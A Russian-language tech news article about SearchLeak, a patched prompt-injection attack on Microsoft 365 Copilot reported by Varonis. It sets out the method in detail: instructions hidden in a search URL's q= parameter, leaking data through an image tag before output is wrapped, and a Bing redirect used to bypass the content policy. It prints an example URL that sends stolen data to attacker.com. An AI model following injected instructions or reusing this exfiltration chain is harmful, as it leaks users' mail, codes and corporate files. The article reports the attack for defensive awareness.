Перейти к содержимому
Digital Business BY · БЕЛАРУСЬ
НБ РБUSD2.9921EUR3.3424RUB0.0366PLN0.7608CNY0.4487Конвертер →
IT и стартапы

Уязвимость в Microsoft Copilot позволяла красть коды двухфакторной аутентификации

Исследователи Varonis обнаружили атаку SearchLeak: жертве достаточно было кликнуть по ссылке, чтобы Copilot сам передал данные злоумышленнику.

Казакевич Алексей
5 мин
Уязвимость в Microsoft Copilot позволяла красть коды двухфакторной аутентификации
Содержание · 3
  1. 01Как работала атака: один клик вместо взлома
  2. 02Bing как «трамплин» для обхода политики безопасности
  3. 03Системная проблема, которую патчем не закрыть

Исследователи из компании Varonis опубликовали детальное описание атаки SearchLeak — цепочки уязвимостей в Microsoft 365 Copilot, которая позволяла злоумышленникам похищать корпоративные данные, включая коды двухфакторной аутентификации. Для успешной атаки жертве не нужно было вводить никаких данных — достаточно одного клика по ссылке. Microsoft устранила уязвимости во вторник, однако эксперты предупреждают: системная причина подобных атак никуда не делась.

Как работала атака: один клик вместо взлома

Атака строилась на технике Parameter-to-Prompt Injection. Злоумышленник отправлял жертве письмо со специально сформированной ссылкой вида https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=. В параметр q= встраивалась инструкция для Copilot — например, найти письма пользователя, извлечь их содержимое и передать данные наружу.

Copilot выполнял инструкцию беспрекословно. Как отметили исследователи, поисковая функциональность ИИ-ассистента оказалась идеальным инструментом для атаки: даже если у пользователя ограниченные права, доступ к критически важной информации делает его мишенью.

Ключевой элемент схемы — обход защитного механизма, который должен был блокировать подобные действия. В норме Copilot оборачивает вывод в блоки <code>, не позволяя браузеру рендерить произвольный HTML. Однако исследователи выяснили: эта защита срабатывает только после фазы «размышления» модели.

Пока Copilot генерировал ответ, браузер уже получал необработанный HTML — в том числе тег <img> с URL, содержащим похищенные данные. Браузер немедленно отправлял HTTP-запрос по этому адресу. К моменту, когда защита оборачивала вывод в <code>, запрос уже ушёл. Данные покинули периметр.

Bing как «трамплин» для обхода политики безопасности

Оставалась ещё одна преграда: политика безопасности контента Copilot запрещает отправку запросов на произвольные внешние домены. Исследователи обошли её, использовав Bing в качестве промежуточного звена.

Поисковик Microsoft входит в список доверенных ресурсов согласно CSP-политике Copilot. Схема выглядела так: браузер жертвы отправлял запрос на Bing, а тот перенаправлял его на домен злоумышленника. Итоговый URL имел вид:

https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png

Таким образом, похищенные данные оказывались встроены прямо в URL изображения и уходили на сервер атакующего через доверенный ресурс Microsoft.

По оценке Varonis, масштаб потенциального ущерба от SearchLeak выходит далеко за рамки личной переписки. Атака затрагивает корпоративный уровень Microsoft 365 Enterprise: под угрозой оказываются письма и приглашения из календаря, заметки из встреч, документы SharePoint, файлы OneDrive и любой другой контент, проиндексированный в M365. В зависимости от того, как M365 интегрирован в инфраструктуру организации, «радиус поражения» мог быть ещё шире.

Системная проблема, которую патчем не закрыть

Microsoft оперативно устранила конкретные уязвимости, которые эксплуатировала атака SearchLeak. Однако исследователи Varonis указывают на принципиальное ограничение: корневая причина подобных атак — архитектурная особенность больших языковых моделей, которые по своей природе склонны следовать инструкциям, встроенным в обрабатываемый контент.

Пока ИИ-ассистенты имеют доступ к корпоративным данным и способны выполнять действия от имени пользователя, техники prompt injection будут оставаться актуальными. Каждый новый барьер создаёт стимул искать новый обход — и этот цикл, по мнению экспертов, будет повторяться.

Для белорусских компаний, работающих в периметре ПВТ и активно использующих Microsoft 365, история с SearchLeak — наглядный аргумент в пользу регулярного аудита прав доступа в M365 и настройки политик условного доступа. Корпоративный Copilot «видит» ровно столько, сколько видит сам пользователь: чем шире права учётной записи, тем ценнее она как цель для атаки через ИИ-ассистента.

Отдельного внимания заслуживает вектор через электронную почту: атака начиналась с обычного письма со ссылкой. Никакого вредоносного вложения, никакого исполняемого кода — только URL и готовность Copilot следовать инструкциям. Это означает, что традиционные антивирусные решения и фильтры вложений подобную угрозу не обнаружат.

Курс MSFT · NASDAQ
ПоделитьсяVK

Свежие новости

Все новости
Концептуальная иллюстрация: Google открыла TPU Sync: библиотека для управления KV-кэшем и весами моделей на TPU
IT и стартапы

Google открыла TPU Sync: библиотека для управления KV-кэшем и весами моделей на TPU

Google выпустила TPU Sync — открытую C++-библиотеку, которая организует передачу тензоров между HBM, оперативной памятью хоста, локальными SSD и сетевым хранилищем как единой иерархией памяти. Для MoE-моделей от 235B до 480B параметров библиотека сокращает задержку передачи KV-кэша и время до первого токена в среднем на 90% по сравнению с работой без TPU Sync.

Редакция
2 мин
Концептуальная иллюстрация: Cloud Pathways для GKE перешёл в статус GA
IT и стартапы

Cloud Pathways для GKE перешёл в статус GA

Google Cloud объявил об общей доступности Cloud Pathways на Google Kubernetes Engine. Среда выполнения, созданная в Google DeepMind для обучения и инференса фронтирных моделей, включая Gemini, теперь открыта для всех клиентов платформы.

Редакция
2 мин
Концептуальная иллюстрация: NVIDIA Dynamo получил рецепты развёртывания для ведущих корейских открытых моделей
IT и стартапы

NVIDIA Dynamo получил рецепты развёртывания для ведущих корейских открытых моделей

NVIDIA выпустила оптимизированные рецепты развёртывания на базе Dynamo для четырёх корейских открытых моделей. Конфигурации рассчитаны на GPU NVIDIA B200 и заявляют до двукратного прироста производительности из коробки.

Редакция
1 мин
Концептуальная иллюстрация: AWS Elemental MediaConvert получил встроенную генерацию субтитров на базе ИИ
IT и стартапы

AWS Elemental MediaConvert получил встроенную генерацию субтитров на базе ИИ

AWS Elemental MediaConvert интегрировал Smart Subtitles — решение на основе ИИ и современных моделей распознавания речи. Функция автоматически транскрибирует аудио и встраивается непосредственно в VOD-пайплайны без внешних сервисов субтитрования.

Редакция
1 мин
Концептуальная иллюстрация: Vercel AI Gateway получил инструменты DeepSeek Search и DeepSeek Fetch
IT и стартапы

Vercel AI Gateway получил инструменты DeepSeek Search и DeepSeek Fetch

Vercel добавил в AI Gateway два инструмента DeepSeek: Search для поиска релевантных страниц и Fetch для получения их содержимого в формате Markdown. Оба работают с любой моделью, поддерживающей вызов инструментов.

Редакция
1 мин
Концептуальная иллюстрация: Google Cloud перевёл серверы Z4M в общую доступность
IT и стартапы

Google Cloud перевёл серверы Z4M в общую доступность

Google Cloud объявил об общей доступности серии Z4M — машин с оптимизированным хранилищем, доступных как виртуальные машины и bare-metal инстансы. Серия предлагает до 192 vCPU, 1 536 GiB памяти и 400 Gbps RDMA-сети с поддержкой GPUDirect и TPUDirect Storage.

Редакция
1 мин